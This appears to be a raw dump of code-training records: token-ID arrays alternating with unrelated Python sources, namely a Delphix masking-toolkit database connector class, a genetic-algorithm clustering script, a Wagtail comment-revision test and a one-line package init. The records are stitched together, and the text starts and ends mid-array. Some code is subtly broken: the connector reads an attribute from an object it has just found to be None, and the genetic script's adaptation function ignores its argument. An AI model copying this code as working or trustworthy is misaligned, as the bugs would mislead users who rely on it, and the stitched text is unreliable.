1667, 29898, 1311, 1125, 13, 4706, 9995, 1816, 1960, 408, 278, 6251, 1298, 363, 278, 24492, 9995, 13, 13, 4706, 17927, 29889, 3888, 877, 4763, 292, 22395, 4055, 3460, 1495, 13, 13, 4706, 565, 1583, 29889, 5085, 29889, 10467, 29918, 1037, 6289, 29918, 10185, 29901, 13, 9651, 2897, 29889, 21813, 1839, 29909, 7811, 29918, 8618, 7724, 2033, 353, 1583, 29889, 5085, 29889, 10467, 29918, 1037, 6289, 29918, 10185, 13, 13, 4706, 321, 5824, 29918, 29879, 14551, 357, 353, 382, 5824, 21913, 357, 29898, 1311, 29889, 5085, 29889, 12803, 29892, 26952, 29922, 5574, 29897, 13, 4706, 565, 451, 321, 5824, 29918, 29879, 14551, 357, 29889, 275, 29918, 12803, 29918, 3084, 29898, 1311, 29889, 5085, 29889, 12803, 1125, 13, 9651, 17927, 29889, 3888, 703, 13919, 5120, 1159, 13, 9651, 10876, 29889, 13322, 29898, 29896, 29897, 13, 4706, 1683, 29901, 13, 9651, 17927, 29889, 3888, 703, 18457, 29901, 1273, 29879, 29901, 613, 1583, 29889, 5085, 29889, 12803, 29897, 13, 9651, 321, 5824, 29918, 4422, 353, 382, 5824, 7270, 29898, 1311, 29889, 5085, 29889, 12803, 29892, 26952, 29922, 5574, 29897, 13, 9651, 321, 5824, 29918, 29879, 14551, 357, 353, 382, 5824, 21913, 357, 29898, 1311, 29889, 5085, 29889, 12803, 29892, 26952, 29922, 5574, 29897, 13, 13, 9651, 396, 4175, 714, 278, 2307, 4055, 3192, 18167, 13, 9651, 14383, 29918, 24623, 29918, 4841, 353, 5159, 13, 13, 9651, 565, 451, 1583, 29889, 5085, 29889, 2267, 351, 29918, 1555, 9351, 29901, 13, 18884, 396, 2688, 1016, 29915, 29873, 864, 502, 304, 3240, 351, 18167, 393, 526, 2307, 4055, 3192, 29892, 577, 13, 18884, 396, 788, 278, 2307, 4055, 3192, 18167, 304, 278, 1051, 310, 7977, 23481, 304, 14383, 29889, 13, 18884, 14383, 29918, 24623, 29918, 4841, 4619, 321, 5824, 29918, 29879, 14551, 357, 29889, 657, 29918, 284, 2040, 29918, 4039, 3192, 29918, 24623, 29918, 4841, 580, 13, 18884, 17927, 29889, 3888, 877, 29903, 1984, 3262, 445, 1784, 7977, 18999, 29901, 1273, 29879, 742, 7431, 29898, 11014, 29918, 24623, 29918, 4841, 876, 13, 13, 9651, 1700, 29918, 4841, 353, 321, 5824, 29918, 4422, 29889, 657, 29918, 1990, 2164, 29918, 24623, 29918, 4841, 29898, 11014, 29918, 24623, 29918, 4841, 29897, 13, 9651, 363, 1178, 29918, 978, 29892, 1178, 29918, 1761, 297, 1700, 29918, 4841, 3032, 294, 8977, 2141, 1524, 7076, 7295, 13, 18884, 17927, 29889, 3888, 877, 978, 29901, 1273, 29879, 5253, 29901, 1273, 29879, 742, 1178, 29918, 978, 29892, 7431, 29898, 333, 29918, 1761, 876, 13, 13, 9651, 444, 12823, 1653, 278, 22395, 8282, 1286, 13, 9651, 565, 1583, 29889, 5085, 29889, 6207, 29918, 4632, 29918, 1555, 9351, 322, 1700, 29918, 4841, 29889, 6207, 29918, 4632, 29901, 13, 18884, 1583, 29889, 842, 29918, 6207, 29918, 4632, 29918, 24623, 29918, 11338, 29898, 1555, 29918, 4841, 29889, 6207, 29918, 4632, 29892, 321, 5824, 29918, 29879, 14551, 357, 29892, 321, 5824, 29918, 4422, 29897, 13, 13, 9651, 565, 1583, 29889, 5085, 29889, 3177, 29918, 4632, 29918, 1555, 9351, 322, 1700, 29918, 4841, 29889, 3177, 29918, 4632, 29901, 13, 18884, 1583, 29889, 842, 29918, 3177, 29918, 4632, 29918, 24623, 29918, 11338, 29898, 1555, 29918, 4841, 29889, 3177, 29918, 4632, 29892, 321, 5824, 29918, 29879, 14551, 357, 29892, 321, 5824, 29918, 4422, 29897, 13, 13, 9651, 565, 1583, 29889, 5085, 29889, 14695, 29918, 12925, 29918, 1555, 9351, 322, 1700, 29918, 4841, 29889, 14695, 29918, 12925, 29901, 13, 18884, 1583, 29889, 842, 29918, 14695, 29918, 12925, 29918, 24623, 29918, 11338, 29898, 1555, 29918, 4841, 29889, 14695, 29918, 12925, 29892, 321, 5824, 29918, 29879, 14551, 357, 29892, 321, 5824, 29918, 4422, 29897, 13, 13, 9651, 565, 1583, 29889, 5085, 29889, 1171, 1474, 29918, 771, 4924, 287, 29918, 29886, 29894, 29918, 1555, 9351, 322, 1700, 29918, 4841, 29889, 1171, 1474, 29918, 771, 4924, 287, 29918, 29886, 29894, 29901, 13, 18884, 1583, 29889, 842, 29918, 1171, 1474, 29918, 771, 4924, 287, 29918, 29886, 29894, 29918, 24623, 29918, 11338, 29898, 1555, 29918, 4841, 29889, 1171, 1474, 29918, 771, 4924, 287, 29918, 29886, 29894, 29892, 13, 462, 462, 462, 632, 321, 5824, 29918, 29879, 14551, 357, 29892, 321, 5824, 29918, 4422, 29897, 13, 13, 9651, 565, 1583, 29889, 5085, 29889, 1300, 26555, 4924, 287, 29918, 29886, 29894, 29918, 1555, 9351, 322, 1700, 29918, 4841, 29889, 1300, 26555, 4924, 287, 29918, 29886, 29894, 29901, 13, 18884, 1583, 29889, 842, 29918, 1300, 26555, 4924, 287, 29918, 29886, 29894, 29918, 24623, 29918, 11338, 29898, 1555, 29918, 4841, 29889, 1300, 26555, 4924, 287, 29918, 29886, 29894, 29892, 321, 5824, 29918, 29879, 14551, 357, 29892, 13, 462, 462, 462, 4706, 321, 5824, 29918, 4422, 29897, 13, 13, 9651, 565, 1583, 29889, 5085, 29889, 348, 1693, 2164, 29918, 1555, 9351, 322, 1700, 29918, 4841, 29889, 348, 1693, 2164, 29901, 13, 18884, 1583, 29889, 842, 29918, 348, 1693, 2164, 29918, 24623, 29918, 11338, 29898, 1555, 29918, 4841, 29889, 348, 1693, 2164, 29892, 321, 5824, 29918, 29879, 14551, 357, 29897, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 323, 9921, 29907, 492, 2141, 3396, 580, 13, 2 ]
dxm/lib/DxConnector/ExtendedConnector.py
experiortec/dxm-toolkit
5
80007
<reponame>experiortec/dxm-toolkit<gh_stars>1-10 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Copyright (c) 2018 by Delphix. All rights reserved. # # Author : <NAME> # Date : March 2018 # Comments: List of the Database connectors import logging from dxm.lib.DxConnector.DxConnector import DxConnector from dxm.lib.DxLogging import print_error from dxm.lib.DxLogging import print_message from dxm.lib.DxJDBC.DxJDBCList import DxJDBCList class ExtendedConnector(DxConnector): def __init__(self, engine): """ Constructor :param engine: DxMaskingEngine object """ DxConnector.__init__(self, engine) self.__engine = engine self.__logger = logging.getLogger() self.__logger.debug("creating ExtendedConnector object") self.__jdbclist = DxJDBCList() def get_type_properties(self): """ Return dict with properties specific for connector type """ driver_obj = self.__jdbclist.get_by_ref(self.jdbc_driver_id) if driver_obj is None: driver_name = driver_obj.jdbc_driver_id else: driver_name = driver_obj.driver_name props = { 'username': self.username, 'jdbc_driver_name': driver_name, 'jdbc': self.jdbc } return props def get_properties(self): """ Return dict with properties required for connector type """ props = { 'jdbc': self.jdbc, 'username': self.username, 'schema_name': self.schema_name, 'connector_name': self.connector_name, 'password': <PASSWORD>, 'database_type': self.database_type, 'environment_id': self.environment_id, 'jdbc_driver_id': self.jdbc_driver_id } empty = 0 for k in props.keys(): if (props[k] is None): print_error("Property %s can't be empty" % k) empty = empty + 1 if empty == 0: return props else: return None
[ 1, 529, 276, 1112, 420, 29958, 735, 546, 1611, 371, 29883, 29914, 8235, 29885, 29899, 10154, 7354, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 268, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 29889, 13, 29937, 13, 29937, 14187, 1266, 313, 29883, 29897, 29871, 29906, 29900, 29896, 29947, 491, 5556, 561, 861, 29889, 2178, 10462, 21676, 29889, 13, 29937, 13, 29937, 13361, 29871, 584, 529, 5813, 29958, 13, 29937, 4712, 1678, 584, 4779, 29871, 29906, 29900, 29896, 29947, 13, 29937, 461, 29879, 29901, 2391, 310, 278, 5470, 4511, 943, 13, 13, 13, 5215, 12183, 13, 3166, 15414, 29885, 29889, 1982, 29889, 29928, 29916, 20971, 2801, 29889, 29928, 29916, 20971, 2801, 1053, 360, 29916, 20971, 2801, 13, 3166, 15414, 29885, 29889, 1982, 29889, 29928, 29916, 3403, 3460, 1053, 1596, 29918, 2704, 13, 3166, 15414, 29885, 29889, 1982, 29889, 29928, 29916, 3403, 3460, 1053, 1596, 29918, 4906, 13, 3166, 15414, 29885, 29889, 1982, 29889, 29928, 29916, 29967, 22840, 29889, 29928, 29916, 29967, 22840, 1293, 1053, 360, 29916, 29967, 22840, 1293, 13, 13, 1990, 7338, 2760, 20971, 2801, 29898, 29928, 29916, 20971, 2801, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 6012, 1125, 13, 4706, 9995, 13, 4706, 1281, 18769, 13, 4706, 584, 3207, 6012, 29901, 360, 29916, 19832, 292, 12412, 1203, 13, 4706, 9995, 13, 4706, 360, 29916, 20971, 2801, 17255, 2344, 12035, 1311, 29892, 6012, 29897, 13, 4706, 1583, 17255, 10599, 353, 6012, 13, 4706, 1583, 17255, 21707, 353, 12183, 29889, 657, 16363, 580, 13, 4706, 1583, 17255, 21707, 29889, 8382, 703, 1037, 1218, 7338, 2760, 20971, 2801, 1203, 1159, 13, 4706, 1583, 17255, 29926, 2585, 695, 391, 353, 360, 29916, 29967, 22840, 1293, 580, 13, 13, 13, 1678, 822, 679, 29918, 1853, 29918, 11330, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 7106, 9657, 411, 4426, 2702, 363, 1826, 2801, 1134, 13, 4706, 9995, 13, 13, 4706, 7156, 29918, 5415, 353, 1583, 17255, 29926, 2585, 695, 391, 29889, 657, 29918, 1609, 29918, 999, 29898, 1311, 29889, 15686, 29918, 9465, 29918, 333, 29897, 13, 4706, 565, 7156, 29918, 5415, 338, 6213, 29901, 13, 9651, 7156, 29918, 978, 353, 7156, 29918, 5415, 29889, 15686, 29918, 9465, 29918, 333, 13, 4706, 1683, 29901, 13, 9651, 7156, 29918, 978, 353, 7156, 29918, 5415, 29889, 9465, 29918, 978, 13, 13, 4706, 17761, 353, 426, 13, 9651, 525, 6786, 2396, 1583, 29889, 6786, 29892, 13, 9651, 525, 15686, 29918, 9465, 29918, 978, 2396, 7156, 29918, 978, 29892, 13, 9651, 525, 15686, 2396, 1583, 29889, 15686, 13, 4706, 500, 13, 4706, 736, 17761, 13, 13, 1678, 822, 679, 29918, 11330, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 7106, 9657, 411, 4426, 3734, 363, 1826, 2801, 1134, 13, 4706, 9995, 13, 13, 4706, 17761, 353, 426, 13, 9651, 525, 15686, 2396, 1583, 29889, 15686, 29892, 13, 9651, 525, 6786, 2396, 1583, 29889, 6786, 29892, 13, 9651, 525, 11010, 29918, 978, 2396, 1583, 29889, 11010, 29918, 978, 29892, 13, 9651, 525, 11958, 2801, 29918, 978, 2396, 1583, 29889, 11958, 2801, 29918, 978, 29892, 13, 9651, 525, 5630, 2396, 529, 25711, 17013, 10202, 13, 9651, 525, 9803, 29918, 1853, 2396, 1583, 29889, 9803, 29918, 1853, 29892, 13, 9651, 525, 20944, 29918, 333, 2396, 1583, 29889, 20944, 29918, 333, 29892, 13, 9651, 525, 15686, 29918, 9465, 29918, 333, 2396, 1583, 29889, 15686, 29918, 9465, 29918, 333, 13, 4706, 500, 13, 13, 4706, 4069, 353, 29871, 29900, 13, 4706, 363, 413, 297, 17761, 29889, 8149, 7295, 13, 9651, 565, 313, 11030, 29961, 29895, 29962, 338, 6213, 1125, 13, 18884, 1596, 29918, 2704, 703, 4854, 1273, 29879, 508, 29915, 29873, 367, 4069, 29908, 1273, 413, 29897, 13, 18884, 4069, 353, 4069, 718, 29871, 29896, 13, 13, 4706, 565, 4069, 1275, 29871, 29900, 29901, 13, 9651, 736, 17761, 13, 4706, 1683, 29901, 13, 9651, 736, 6213, 13, 2 ]
src/image/video/__init__.py
fronovics/AI_playground
0
142772
<filename>src/image/video/__init__.py from src.image.video.video_loop import VideoLoop
[ 1, 529, 9507, 29958, 4351, 29914, 3027, 29914, 9641, 29914, 1649, 2344, 26914, 2272, 13, 3166, 4765, 29889, 3027, 29889, 9641, 29889, 9641, 29918, 7888, 1053, 13987, 18405, 13, 2 ]
genetic.py
AHDiniz/AI-2020-02-Assignment-2
0
41643
#!/usr/bin/python3.8 import time import copy import random import numpy as np import clustering as clt class HyperParams: def __init__(self, population_size : int, crossover_rate : float, mutation_rate : float): self._population_size = population_size self._crossover_rate = crossover_rate self._mutation_rate = mutation_rate @property def population_size(self) -> int: return self._population_size @property def crossover_rate(self) -> float: return self._crossover_rate @property def mutation_rate(self) -> float: return self._mutation_rate class Population: def __init__(self, k : int, size : int, clusters : clt.Clusters): self._size = size self._instances : list = [] self._k : int = k self._point_dim : tuple = clusters.point_dim for i in range(size): self._instances.append(clt.Clusters(clusters.k, clusters.points)) self._instances[i].initialize_state() @property def instances(self) -> list: return self._instances def mutate(self, instance : int): self._instances[instance].disturb() self._instances[instance].accept_disturbed() def crossover(self, a : int, b : int) -> clt.Clusters: offspring : clt.Clusters = clt.Clusters(self._instances[a].k, self._instances[a].points) divide : int = self._k // 2 if self._k <= 3 else random.randint(1, self._k - 2) centroids : list = list([]) for i in range(self._k): centroids.append(self._instances[a].centroids[i] if i < divide else self._instances[b].centroids[i]) offspring.initialize_state(centroids) return offspring def adaptation(self, instance : int) -> float: sse_sum : float = 0 for i in range(self._size): sse_sum += self._instances[i].sse return self._instances[i].sse / sse_sum def instance_value(self, instance : int) -> float: return self._instances[instance].sse def coverging(self) -> bool: s : float = self._instances[0].sse for i in range(1, self._size): if abs(s - self._instances[i].sse) > .000000001: return False return True def set_instance(self, instance : int, clusters : clt.Clusters): self._instances[instance] = clusters def set_instances(self, instances : list): for i in range(self._size): self._instances[i] = instances[i] def genetic(hyper_params : HyperParams, clusters : clt.Clusters, population : Population = None) -> (float, clt.Clusters): population = Population(clusters.k, hyper_params.population_size, clusters) if population == None else population while not population.coverging(): population_indices : list = range(0, hyper_params.population_size) probabilities : list = list(map(population.adaptation, population_indices)) values : list = list(map(population.instance_value, population_indices)) a : int = random.choices(population_indices, probabilities, k = 1)[0] b : int = random.choices(population_indices, probabilities, k = 1)[0] if random.random() < hyper_params.crossover_rate: offspring : clt.Clusters = population.crossover(a, b) max_value : float = max(values) if offspring.sse < max_value: population.set_instance(values.index(max_value), offspring) result : float = min(map(population.instance_value, range(0, hyper_params.population_size))) result_instace : clt.Clusters = None for instance in population.instances: if instance.sse == result: result_instace = instance return (result, result_instace)
[ 1, 18787, 4855, 29914, 2109, 29914, 4691, 29941, 29889, 29947, 13, 13, 5215, 931, 13, 5215, 3509, 13, 5215, 4036, 13, 5215, 12655, 408, 7442, 13, 5215, 16993, 3241, 408, 1067, 29873, 13, 13, 1990, 26078, 9629, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 4665, 29918, 2311, 584, 938, 29892, 274, 1883, 578, 369, 29918, 10492, 584, 5785, 29892, 5478, 362, 29918, 10492, 584, 5785, 1125, 13, 4706, 1583, 3032, 7323, 2785, 29918, 2311, 353, 4665, 29918, 2311, 13, 4706, 1583, 3032, 29883, 1883, 578, 369, 29918, 10492, 353, 274, 1883, 578, 369, 29918, 10492, 13, 4706, 1583, 3032, 6149, 362, 29918, 10492, 353, 5478, 362, 29918, 10492, 13, 268, 13, 1678, 732, 6799, 13, 1678, 822, 4665, 29918, 2311, 29898, 1311, 29897, 1599, 938, 29901, 13, 4706, 736, 1583, 3032, 7323, 2785, 29918, 2311, 13, 268, 13, 1678, 732, 6799, 13, 1678, 822, 274, 1883, 578, 369, 29918, 10492, 29898, 1311, 29897, 1599, 5785, 29901, 13, 4706, 736, 1583, 3032, 29883, 1883, 578, 369, 29918, 10492, 13, 268, 13, 1678, 732, 6799, 13, 1678, 822, 5478, 362, 29918, 10492, 29898, 1311, 29897, 1599, 5785, 29901, 13, 4706, 736, 1583, 3032, 6149, 362, 29918, 10492, 13, 13, 1990, 24810, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 413, 584, 938, 29892, 2159, 584, 938, 29892, 24554, 584, 1067, 29873, 29889, 6821, 504, 414, 1125, 13, 4706, 1583, 3032, 2311, 353, 2159, 13, 4706, 1583, 3032, 2611, 2925, 584, 1051, 353, 5159, 13, 4706, 1583, 3032, 29895, 584, 938, 353, 413, 13, 4706, 1583, 3032, 3149, 29918, 6229, 584, 18761, 353, 24554, 29889, 3149, 29918, 6229, 13, 4706, 363, 474, 297, 3464, 29898, 2311, 1125, 13, 9651, 1583, 3032, 2611, 2925, 29889, 4397, 29898, 695, 29873, 29889, 6821, 504, 414, 29898, 695, 504, 414, 29889, 29895, 29892, 24554, 29889, 9748, 876, 13, 9651, 1583, 3032, 2611, 2925, 29961, 29875, 1822, 24926, 29918, 3859, 580, 13, 268, 13, 1678, 732, 6799, 13, 1678, 822, 8871, 29898, 1311, 29897, 1599, 1051, 29901, 13, 4706, 736, 1583, 3032, 2611, 2925, 13, 13, 1678, 822, 5478, 403, 29898, 1311, 29892, 2777, 584, 938, 1125, 13, 4706, 1583, 3032, 2611, 2925, 29961, 8758, 1822, 5721, 9265, 580, 13, 4706, 1583, 3032, 2611, 2925, 29961, 8758, 1822, 16044, 29918, 5721, 28179, 580, 13, 268, 13, 1678, 822, 274, 1883, 578, 369, 29898, 1311, 29892, 263, 584, 938, 29892, 289, 584, 938, 29897, 1599, 1067, 29873, 29889, 6821, 504, 414, 29901, 13, 4706, 1283, 4278, 584, 1067, 29873, 29889, 6821, 504, 414, 353, 1067, 29873, 29889, 6821, 504, 414, 29898, 1311, 3032, 2611, 2925, 29961, 29874, 1822, 29895, 29892, 1583, 3032, 2611, 2925, 29961, 29874, 1822, 9748, 29897, 13, 308, 13, 4706, 16429, 584, 938, 353, 1583, 3032, 29895, 849, 29871, 29906, 565, 1583, 3032, 29895, 5277, 29871, 29941, 1683, 4036, 29889, 9502, 524, 29898, 29896, 29892, 1583, 3032, 29895, 448, 29871, 29906, 29897, 13, 4706, 1644, 1007, 29879, 584, 1051, 353, 1051, 4197, 2314, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 3032, 29895, 1125, 13, 9651, 1644, 1007, 29879, 29889, 4397, 29898, 1311, 3032, 2611, 2925, 29961, 29874, 1822, 1760, 1007, 29879, 29961, 29875, 29962, 565, 474, 529, 16429, 1683, 1583, 3032, 2611, 2925, 29961, 29890, 1822, 1760, 1007, 29879, 29961, 29875, 2314, 13, 308, 13, 4706, 1283, 4278, 29889, 24926, 29918, 3859, 29898, 1760, 1007, 29879, 29897, 13, 13, 4706, 736, 1283, 4278, 13, 268, 13, 1678, 822, 28206, 29898, 1311, 29892, 2777, 584, 938, 29897, 1599, 5785, 29901, 13, 4706, 269, 344, 29918, 2083, 584, 5785, 353, 29871, 29900, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 3032, 2311, 1125, 13, 9651, 269, 344, 29918, 2083, 4619, 1583, 3032, 2611, 2925, 29961, 29875, 1822, 29879, 344, 13, 4706, 736, 1583, 3032, 2611, 2925, 29961, 29875, 1822, 29879, 344, 847, 269, 344, 29918, 2083, 13, 268, 13, 1678, 822, 2777, 29918, 1767, 29898, 1311, 29892, 2777, 584, 938, 29897, 1599, 5785, 29901, 13, 4706, 736, 1583, 3032, 2611, 2925, 29961, 8758, 1822, 29879, 344, 13, 268, 13, 1678, 822, 4612, 3460, 29898, 1311, 29897, 1599, 6120, 29901, 13, 4706, 269, 584, 5785, 353, 1583, 3032, 2611, 2925, 29961, 29900, 1822, 29879, 344, 13, 4706, 363, 474, 297, 3464, 29898, 29896, 29892, 1583, 3032, 2311, 1125, 13, 9651, 565, 6425, 29898, 29879, 448, 1583, 3032, 2611, 2925, 29961, 29875, 1822, 29879, 344, 29897, 1405, 869, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29896, 29901, 13, 18884, 736, 7700, 13, 4706, 736, 5852, 13, 268, 13, 1678, 822, 731, 29918, 8758, 29898, 1311, 29892, 2777, 584, 938, 29892, 24554, 584, 1067, 29873, 29889, 6821, 504, 414, 1125, 13, 4706, 1583, 3032, 2611, 2925, 29961, 8758, 29962, 353, 24554, 13, 13, 1678, 822, 731, 29918, 2611, 2925, 29898, 1311, 29892, 8871, 584, 1051, 1125, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 3032, 2311, 1125, 13, 9651, 1583, 3032, 2611, 2925, 29961, 29875, 29962, 353, 8871, 29961, 29875, 29962, 13, 13, 1753, 2531, 7492, 29898, 24947, 29918, 7529, 584, 26078, 9629, 29892, 24554, 584, 1067, 29873, 29889, 6821, 504, 414, 29892, 4665, 584, 24810, 353, 6213, 29897, 1599, 313, 7411, 29892, 1067, 29873, 29889, 6821, 504, 414, 1125, 13, 13, 1678, 4665, 353, 24810, 29898, 695, 504, 414, 29889, 29895, 29892, 11266, 29918, 7529, 29889, 7323, 2785, 29918, 2311, 29892, 24554, 29897, 565, 4665, 1275, 6213, 1683, 4665, 13, 268, 13, 1678, 1550, 451, 4665, 29889, 11911, 3460, 7295, 13, 13, 4706, 4665, 29918, 513, 1575, 584, 1051, 353, 3464, 29898, 29900, 29892, 11266, 29918, 7529, 29889, 7323, 2785, 29918, 2311, 29897, 13, 4706, 2070, 11614, 584, 1051, 353, 1051, 29898, 1958, 29898, 7323, 2785, 29889, 1114, 415, 362, 29892, 4665, 29918, 513, 1575, 876, 13, 4706, 1819, 584, 1051, 353, 1051, 29898, 1958, 29898, 7323, 2785, 29889, 8758, 29918, 1767, 29892, 4665, 29918, 513, 1575, 876, 13, 4706, 263, 584, 938, 353, 4036, 29889, 1859, 1575, 29898, 7323, 2785, 29918, 513, 1575, 29892, 2070, 11614, 29892, 413, 353, 29871, 29896, 9601, 29900, 29962, 13, 4706, 289, 584, 938, 353, 4036, 29889, 1859, 1575, 29898, 7323, 2785, 29918, 513, 1575, 29892, 2070, 11614, 29892, 413, 353, 29871, 29896, 9601, 29900, 29962, 13, 4706, 565, 4036, 29889, 8172, 580, 529, 11266, 29918, 7529, 29889, 29883, 1883, 578, 369, 29918, 10492, 29901, 13, 9651, 1283, 4278, 584, 1067, 29873, 29889, 6821, 504, 414, 353, 4665, 29889, 29883, 1883, 578, 369, 29898, 29874, 29892, 289, 29897, 13, 9651, 4236, 29918, 1767, 584, 5785, 353, 4236, 29898, 5975, 29897, 13, 9651, 565, 1283, 4278, 29889, 29879, 344, 529, 4236, 29918, 1767, 29901, 13, 18884, 4665, 29889, 842, 29918, 8758, 29898, 5975, 29889, 2248, 29898, 3317, 29918, 1767, 511, 1283, 4278, 29897, 13, 268, 13, 1678, 1121, 584, 5785, 353, 1375, 29898, 1958, 29898, 7323, 2785, 29889, 8758, 29918, 1767, 29892, 3464, 29898, 29900, 29892, 11266, 29918, 7529, 29889, 7323, 2785, 29918, 2311, 4961, 13, 1678, 1121, 29918, 2611, 815, 584, 1067, 29873, 29889, 6821, 504, 414, 353, 6213, 13, 13, 1678, 363, 2777, 297, 4665, 29889, 2611, 2925, 29901, 13, 4706, 565, 2777, 29889, 29879, 344, 1275, 1121, 29901, 13, 9651, 1121, 29918, 2611, 815, 353, 2777, 13, 13, 1678, 736, 313, 2914, 29892, 1121, 29918, 2611, 815, 29897, 2 ]
wagtail/core/tests/test_comments.py
brownaa/wagtail
8,851
92627
<reponame>brownaa/wagtail from django.contrib.auth import get_user_model from django.test import TestCase from wagtail.core.models import Comment, Page class CommentTestingUtils: def setUp(self): self.page = Page.objects.get(title="Welcome to the Wagtail test site!") self.revision_1 = self.page.save_revision() self.revision_2 = self.page.save_revision() def create_comment(self, revision_created): return Comment.objects.create( page=self.page, user=get_user_model().objects.first(), text='test', contentpath='title', revision_created=revision_created, ) class TestRevisionDeletion(CommentTestingUtils, TestCase): fixtures = ['test.json'] def setUp(self): super().setUp() self.revision_3 = self.page.save_revision() self.old_comment = self.create_comment(self.revision_1) self.new_comment = self.create_comment(self.revision_3) def test_deleting_old_revision_moves_comment_revision_created_forwards(self): # test that when a revision is deleted, a comment linked to it via revision_created has its revision_created moved # to the next revision self.revision_1.delete() self.old_comment.refresh_from_db() self.assertEqual(self.old_comment.revision_created, self.revision_2) def test_deleting_most_recent_revision_deletes_created_comments(self): # test that when the most recent revision is deleted, any comments created on it are also deleted self.revision_3.delete() with self.assertRaises(Comment.DoesNotExist): self.new_comment.refresh_from_db()
[ 1, 529, 276, 1112, 420, 29958, 23721, 1056, 29874, 29914, 29893, 351, 18237, 13, 3166, 9557, 29889, 21570, 29889, 5150, 1053, 679, 29918, 1792, 29918, 4299, 13, 3166, 9557, 29889, 1688, 1053, 4321, 8259, 13, 13, 3166, 281, 351, 18237, 29889, 3221, 29889, 9794, 1053, 461, 29892, 9305, 13, 13, 13, 1990, 461, 3057, 292, 12177, 29901, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 1583, 29889, 3488, 353, 9305, 29889, 12650, 29889, 657, 29898, 3257, 543, 28862, 2763, 304, 278, 399, 351, 18237, 1243, 3268, 29991, 1159, 13, 4706, 1583, 29889, 276, 4924, 29918, 29896, 353, 1583, 29889, 3488, 29889, 7620, 29918, 276, 4924, 580, 13, 4706, 1583, 29889, 276, 4924, 29918, 29906, 353, 1583, 29889, 3488, 29889, 7620, 29918, 276, 4924, 580, 13, 13, 1678, 822, 1653, 29918, 9342, 29898, 1311, 29892, 26554, 29918, 11600, 1125, 13, 4706, 736, 461, 29889, 12650, 29889, 3258, 29898, 13, 9651, 1813, 29922, 1311, 29889, 3488, 29892, 13, 9651, 1404, 29922, 657, 29918, 1792, 29918, 4299, 2141, 12650, 29889, 4102, 3285, 13, 9651, 1426, 2433, 1688, 742, 13, 9651, 2793, 2084, 2433, 3257, 742, 13, 9651, 26554, 29918, 11600, 29922, 276, 4924, 29918, 11600, 29892, 13, 4706, 1723, 13, 13, 13, 1990, 4321, 1123, 4924, 2772, 1026, 291, 29898, 20001, 3057, 292, 12177, 29892, 4321, 8259, 1125, 13, 1678, 5713, 486, 1973, 353, 6024, 1688, 29889, 3126, 2033, 13, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 2428, 2141, 842, 3373, 580, 13, 4706, 1583, 29889, 276, 4924, 29918, 29941, 353, 1583, 29889, 3488, 29889, 7620, 29918, 276, 4924, 580, 13, 4706, 1583, 29889, 1025, 29918, 9342, 353, 1583, 29889, 3258, 29918, 9342, 29898, 1311, 29889, 276, 4924, 29918, 29896, 29897, 13, 4706, 1583, 29889, 1482, 29918, 9342, 353, 1583, 29889, 3258, 29918, 9342, 29898, 1311, 29889, 276, 4924, 29918, 29941, 29897, 13, 13, 1678, 822, 1243, 29918, 311, 1026, 292, 29918, 1025, 29918, 276, 4924, 29918, 13529, 267, 29918, 9342, 29918, 276, 4924, 29918, 11600, 29918, 1454, 2935, 29898, 1311, 1125, 13, 4706, 396, 1243, 393, 746, 263, 26554, 338, 11132, 29892, 263, 3440, 9024, 304, 372, 3025, 26554, 29918, 11600, 756, 967, 26554, 29918, 11600, 6153, 13, 4706, 396, 304, 278, 2446, 26554, 13, 4706, 1583, 29889, 276, 4924, 29918, 29896, 29889, 8143, 580, 13, 4706, 1583, 29889, 1025, 29918, 9342, 29889, 22379, 29918, 3166, 29918, 2585, 580, 13, 4706, 1583, 29889, 9294, 9843, 29898, 1311, 29889, 1025, 29918, 9342, 29889, 276, 4924, 29918, 11600, 29892, 1583, 29889, 276, 4924, 29918, 29906, 29897, 13, 13, 1678, 822, 1243, 29918, 311, 1026, 292, 29918, 3242, 29918, 276, 1760, 29918, 276, 4924, 29918, 311, 1026, 267, 29918, 11600, 29918, 21032, 29898, 1311, 1125, 13, 4706, 396, 1243, 393, 746, 278, 1556, 7786, 26554, 338, 11132, 29892, 738, 6589, 2825, 373, 372, 526, 884, 11132, 13, 4706, 1583, 29889, 276, 4924, 29918, 29941, 29889, 8143, 580, 13, 4706, 411, 1583, 29889, 9294, 29934, 1759, 267, 29898, 20001, 29889, 25125, 3664, 1252, 391, 